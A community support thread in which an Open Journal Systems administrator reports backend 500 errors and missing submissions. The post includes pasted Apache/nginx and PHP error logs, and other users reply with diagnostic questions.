Massive OJS problem in backend: all submissions disappeared, errors and loading issues [3.3.0.17]

Dear OJS-community,

since Friday morning we have massive problems in the backend of OJS. While the frontend seems to work, the backend is no longer functioning productively. We have not made any changes to our server configuration or database. When I check the database in PHPmyAdmin, everything seems to be fine. For example, all entries are present in the submission table. Also, we did not do an OJS update. So we don’t know what the cause is.

The following errors are occurring:
We can’t access our submissions. When I click on Submissions, an error message appears.

Under Submissions > ‘All Active’ no submissions are displayed at all, not even in the ‘Archive’.


I also cannot access the issues, website or the Users & Roles page: a loading icon appears, but the page does not finish loading.

The Profile view of the admin account is also broken:

Another error message appears with the notification bell.

Also, one small thing that I also noticed: The menus on the left-hand side look slightly different. The fonts are now bold and no longer regular.

Enclosed are some error messages in CSV-format (mostly SSL/TLS access for Apache/nginx):

 Date;Type;IP;Code;Message;R;Agent;Size;Source
07.10.2024 09:12;Error;141.20.106.156;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&assignedTo=1254&searchPhrase=&count=30&offset=0&_=1728285131939 HTTP/1.0;;;773;SSL/TLS-Zugriff für Apache
07.10.2024 09:13;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285219245 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:13;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285219246 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:13;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285219247 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:14;Error;103.24.219.86;404;GET /data/admin/allowurl.txt HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:16;Error;2001:16b8:b190:5c00:40d0:784c:8ff5:4fe2;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&assignedTo=990&searchPhrase=&count=30&offset=0&_=1728285367063 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:16;Error;2001:ac8:28:f001:1eb9:f5c0:b65b:62cc;500;GET /sys/index.php/suburban/issue/view/38 HTTP/1.0;;;8.52 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:18;Error;2001:9e8:1bc8:4800:d969:aa60:467a:a595;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285489346 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:18;Error;2001:9e8:1bc8:4800:d969:aa60:467a:a595;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285489347 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:18;Error;2001:9e8:1bc8:4800:d969:aa60:467a:a595;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285489348 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;77.191.189.232;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285574878 HTTP/1.0;;;2.43 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;77.191.189.232;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285574879 HTTP/1.0;;;2.43 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;77.191.189.232;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285574880 HTTP/1.0;;;2.43 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285585531 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285585532 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285585533 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285595780 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285595781 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:19;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285595782 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:20;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285627218 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:20;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285627219 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:20;Error;2a01:c23:64b8:e100:65ca:4a8d:c6e4:8211;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285627220 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:23;Error;77.191.189.232;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728285827265 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:23;Error;77.191.189.232;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728285827267 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:23;Error;77.191.189.232;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728285827266 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:26;Error;83.135.15.87;500;GET /sys/index.php/suburban/$$$call$$$/plugins/generic/custom-locale/controllers/grid/custom-locale-grid/fetch-grid?_=1728286016309 HTTP/1.0;;;8.52 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:26;Error;83.135.15.87;500;GET /sys/index.php/suburban/$$$call$$$/grid/plugins/plugin-gallery-grid/fetch-grid?_=1728286016308 HTTP/1.0;;;8.52 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:29;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/emailTemplates?searchPhrase=&count=30&offset=0&_=1728286174738 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:29;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728286177642 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:29;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728286177643 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:29;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728286177644 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /ojs-files/journals/1/articles/141/public/Mag1_Remmert_Abb4_drau%C3%9F_fmt.png HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=B%C3%B6rries&familyName=Nehe&affiliation=&country=DE&authorName=Nehe,%20B%C3%B6rries HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Esteban&familyName=Pi%C3%B1eiro&affiliation=&country=CH&authorName=Pi%C3%B1eiro,%20Esteban HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Felicitas&familyName=K%C3%BCbler&affiliation=&country=AT&authorName=K%C3%BCbler,%20Felicitas HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=G%C3%BCnter&familyName=Gassner&affiliation=&country=GB&authorName=Gassner,%20G%C3%BCnter HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Sina&familyName=Br%C3%BCckner-Amin&affiliation=&country=DE&authorName=Br%C3%BCckner-Amin,%20Sina HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Stefanie&familyName=H%C3%BCrtgen&affiliation=&country=DE&authorName=H%C3%BCrtgen,%20Stefanie HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Tatiana&familyName=L%C3%B3pez&affiliation=&country=DE&authorName=L%C3%B3pez,%20Tatiana HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728286347625 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728286347627 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728286347626 HTTP/1.0;;;2.43 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Tuba&familyName=%C4%B0nal-%C3%87eki%C3%A7&affiliation=&country=DE&authorName=%C4%B0nal-%C3%87eki%C3%A7,%20Tuba HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;135.181.180.59;404;GET /sys/index.php/suburban/search/authors/view?givenName=Urszula&familyName=Wo%C5%BAniak&affiliation=&country=DE&authorName=Wo%C5%BAniak,%20Urszula HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728286355606 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728286355607 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:32;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728286355608 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:35;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728286549348 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:35;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728286549349 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:35;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728286549350 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:37;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/stats/publications?count=30&offset=0&dateStart=2024-09-06&dateEnd=2024-10-06&timelineInterval=day&orderBy=total&orderDirection=DESC HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:38;Error;83.135.15.87;500;GET /sys/index.php/suburban/stats/reports/report?pluginName=ViewReportPlugin HTTP/1.0;;;8.52 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:38;Error;83.135.15.87;500;GET /sys/index.php/suburban/$$$call$$$/tab/user/profile-tab/contact?_=1728286708796 HTTP/1.0;;;8.52 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:42;Error;101.44.162.214;404;GET /sys/index.php/suburban/citationstylelanguage/get/vancouver?submissionId=286 HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:47;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo=-1&searchPhrase=&count=30&offset=0&_=1728287227834 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:47;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&searchPhrase=&count=30&offset=0&_=1728287227836 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:47;Error;83.135.15.87;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&searchPhrase=&count=30&offset=0&_=1728287227835 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:48;Error;2a04:4e41:65:1b::82a5:1351;404;GET /apple-touch-icon-precomposed.png HTTP/1.0;;;5.18 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:49;Error;207.46.13.7;404;GET /sys/index.php/suburban/article/download/21/106/196 HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 09:54;Error;27.25.143.42;404;GET //plus/img/df_dedetitle.gif HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:57;Error;82.1.57.46;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&assignedTo=1284&searchPhrase=&count=30&offset=0&_=1728287856083 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:58;Error;82.1.57.46;500;GET /sys/index.php/suburban/api/v1/_submissions?status%5B%5D=4&status%5B%5D=3&status%5B%5D=5&assignedTo=1284&searchPhrase=&count=30&offset=0&_=1728287880285 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:58;Error;82.1.57.46;500;GET /sys/index.php/suburban/api/v1/_submissions?status=1&assignedTo%5B%5D=1284&stageIds%5B%5D=4&searchPhrase=&count=30&offset=0&_=1728287880286 HTTP/1.0;;;1.02 K;SSL/TLS-Zugriff für Apache
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_40_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_36_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_32_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_29_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_30_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_33_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_26_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 09:59;Error;141.201.166.27;499;GET /sys/public/journals/1/cover_issue_24_de_DE.jpg HTTP/2.0;;;0;SSL/TLS-Zugriff für nginx
07.10.2024 10:00;Error;141.201.166.27;404;GET /sys/tools/lightbox/js/jquery-1.7.2.min.js HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 10:00;Error;141.201.166.27;404;GET /sys/tools/lightbox/js/lightbox.js HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 10:00;Error;141.201.166.27;404;GET /sys/tools/lightbox/css/lightbox.css HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 10:00;Error;141.201.166.27;404;GET /sys/tools/lightbox/css/lightbox.css HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 10:00;Error;66.249.76.67;404;GET /sys/index.php/suburban/article/download/297/248_Schmiz_Rez.pdf HTTP/1.0;;;907;SSL/TLS-Zugriff für Apache
07.10.2024 10:01;Error;103.24.219.120;404;GET /e/data/js/ajax.js HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache
07.10.2024 10:03;Error;27.25.141.172;404;GET //public/plugins/Ueditor/dialogs/attachment/fileTypeImages/icon_psd.gif HTTP/1.0;;;1.54 K;SSL/TLS-Zugriff für Apache

Has anyone already had such massive problems with OJS?

Any answers and help would be greatly appreciated!

Kind regards,
Michael

Dear @adm_sub
what a nice theme!
I’ve registered an account and in the console of the browser, in the dashboard I’m getting

BTW.: What is “//public/plugins/Ueditor...” ?

You showed the Apache or nginx log, what does your PHP error log tell?

Thank you, @mpbraendle and @klausru, for your quick replies!

Yes, when I login, I also get the same error messages in the backend and the browser console

I honestly don’t know what “//public/plugins/Ueditor…” is, as this directory does not exist on our server. Also, as far as I know, we do not use a plugin with such a name…

Concerning the PHP error log: Two months ago we moved to a new web server, so I only noticed this morning that “log_error” was disabled in the PHP settings. I have now turned it on, but the PHP errors are apparently not listed in the “logs” menu. I did find an error.log file from today, but I’m not sure if it’s the correct PHP error log.

[Mon Oct 07 09:38:31.908830 2024] [fcgid:warn] [pid 3465603:tid 3465603] (32)Broken pipe: [client 83.135.15.87:0] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/user/profile
[Mon Oct 07 09:42:10.882537 2024] [fcgid:warn] [pid 3471291:tid 3471291] [client 101.44.162.214:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 09:49:27.207692 2024] [fcgid:warn] [pid 3503627:tid 3503627] [client 207.46.13.7:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:00:23.555925 2024] [fcgid:warn] [pid 3503748:tid 3503748] [client 66.249.76.67:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:06:50.860339 2024] [fcgid:warn] [pid 3518684:tid 3518684] [client 5.255.231.4:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:07:18.369276 2024] [fcgid:warn] [pid 3527858:tid 3527858] [client 87.250.224.45:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:15:32.030469 2024] [fcgid:warn] [pid 3534740:tid 3534740] (32)Broken pipe: [client 2a00:1f:9940:1701:88bd:3ba3:97dd:8b1b:0] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/submissions
[Mon Oct 07 10:19:48.511832 2024] [fcgid:warn] [pid 3536411:tid 3536411] [client 5.255.231.27:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:31:58.409351 2024] [fcgid:warn] [pid 3571133:tid 3571133] (32)Broken pipe: [client 54.36.148.108:0] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon Oct 07 10:34:22.991056 2024] [fcgid:warn] [pid 3572792:tid 3572792] [client 213.180.203.194:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:55:42.677928 2024] [fcgid:warn] [pid 3638057:tid 3638057] [client 193.5.53.11:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 10:55:59.823537 2024] [fcgid:warn] [pid 3623828:tid 3623828] [client 193.5.53.11:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:03:01.726535 2024] [fcgid:warn] [pid 3651490:tid 3651490] [client 2001:41d0:203:c7d::1:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:16:05.594279 2024] [fcgid:warn] [pid 3679404:tid 3679404] [client 131.153.240.162:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:23:40.652521 2024] [fcgid:warn] [pid 3678982:tid 3678982] (32)Broken pipe: [client 95.90.177.37:0] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function, referer: https://zeitschrift-suburban.de/sys/plugins/generic/pdfJsViewer/pdf.js/web/viewer.html?file=https%3A%2F%2Fzeitschrift-suburban.de%2Fsys%2Findex.php%2Fsuburban%2Farticle%2Fdownload%2F570%2F839%2F2140
[Mon Oct 07 11:27:09.891161 2024] [fcgid:warn] [pid 3695349:tid 3695349] [client 195.191.219.130:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:27:24.741752 2024] [fcgid:warn] [pid 3695796:tid 3695796] [client 195.191.219.130:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:29:07.806765 2024] [fcgid:warn] [pid 3695383:tid 3695383] [client 64.71.157.125:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:29:07.806801 2024] [fcgid:warn] [pid 3695383:tid 3695383] [client 64.71.157.125:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:34:41.026619 2024] [fcgid:warn] [pid 3695383:tid 3695383] [client 47.251.77.253:0] mod_fcgid: stderr: PHP Deprecated:  Using php-function "strpos" as a modifier is deprecated and will be removed in a future release. Use Smarty::registerPlugin to explicitly register a custom modifier. in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/lib/pkp/lib/vendor/smarty/smarty/libs/sysplugins/smarty_internal_compile_private_modifier.php on line 112, referer: https://zeitschrift-suburban.de/sys/index.php/suburban/about/submissions
[Mon Oct 07 11:36:46.692948 2024] [fcgid:warn] [pid 3695363:tid 3695363] [client 109.235.230.186:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:36:46.692989 2024] [fcgid:warn] [pid 3695363:tid 3695363] [client 109.235.230.186:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:37:10.478237 2024] [fcgid:warn] [pid 3706680:tid 3706680] [client 194.95.143.136:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:37:10.478270 2024] [fcgid:warn] [pid 3706680:tid 3706680] [client 194.95.143.136:0] mod_fcgid: stderr: PHP Deprecated:  preg_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /var/www/vhosts/hosting204046.ae86a.netcup.net/zeitschrift-suburban.de/public_html/sys/cache/t_compile/aea12045582992a965708c39555152500c3c4342^c5a64687d825cbd410323f081b8e13fb7be00543_0.plugins-1-plugins-generic-webFeed-generic-webFeed.rss2.tpl.php on line 100
[Mon Oct 07 11:40:05.564229 2024] [fcgid:warn] [pid 3719996:tid 3719996] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:06.669737 2024] [fcgid:warn] [pid 3721255:tid 3721255] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:09.539636 2024] [fcgid:warn] [pid 3719391:tid 3719391] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:10.488973 2024] [fcgid:warn] [pid 3720138:tid 3720138] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:11.493206 2024] [fcgid:warn] [pid 3720002:tid 3720002] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:12.441611 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:13.468884 2024] [fcgid:warn] [pid 3719472:tid 3719472] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:14.487411 2024] [fcgid:warn] [pid 3719325:tid 3719325] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:15.460416 2024] [fcgid:warn] [pid 3720002:tid 3720002] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:16.382274 2024] [fcgid:warn] [pid 3720836:tid 3720836] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:17.501646 2024] [fcgid:warn] [pid 3719472:tid 3719472] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:18.433543 2024] [fcgid:warn] [pid 3719996:tid 3719996] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:19.462755 2024] [fcgid:warn] [pid 3719471:tid 3719471] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:20.405054 2024] [fcgid:warn] [pid 3707039:tid 3707039] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:21.383131 2024] [fcgid:warn] [pid 3719962:tid 3719962] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
[Mon Oct 07 11:40:22.320053 2024] [fcgid:warn] [pid 3720002:tid 3720002] [client 34.27.179.169:0] mod_fcgid: stderr: ojs2: 404 Not Found
